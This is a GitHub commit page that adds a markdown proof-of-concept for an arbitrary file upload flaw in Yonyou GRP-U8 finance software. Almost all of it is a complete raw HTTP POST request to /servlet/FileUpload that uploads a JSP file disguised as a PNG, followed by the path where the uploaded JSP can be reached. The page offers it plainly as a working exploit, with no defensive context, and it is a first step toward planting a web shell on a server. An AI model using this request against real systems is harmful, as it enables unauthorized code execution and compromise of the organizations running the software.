Create 用友GRP-U8-FileUpload任意文件上传.md

This commit is contained in:
wy876 2024-04-28 21:06:55 +08:00 committed by GitHub
parent 1cba14e2e3
commit cc2ba33542
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,27 @@
## 用友GRP-U8-FileUpload任意文件上传
## poc
```
POST /servlet/FileUpload?fileName=t.jsp&actionID=update HTTP/1.1
Host:
Content-Length: 187
Cache-Control: max-age=0
Origin: null
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryA8Ee42FOAqdLah9L
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryA8Ee42FOAqdLah9L
Content-Disposition: form-data; name="rfile_name"; filename="2.png"
Content-Type: image/png
111
------WebKitFormBoundaryA8Ee42FOAqdLah9L--
```
上传路径为/R9iPortal/upload/xxxxxx.jsp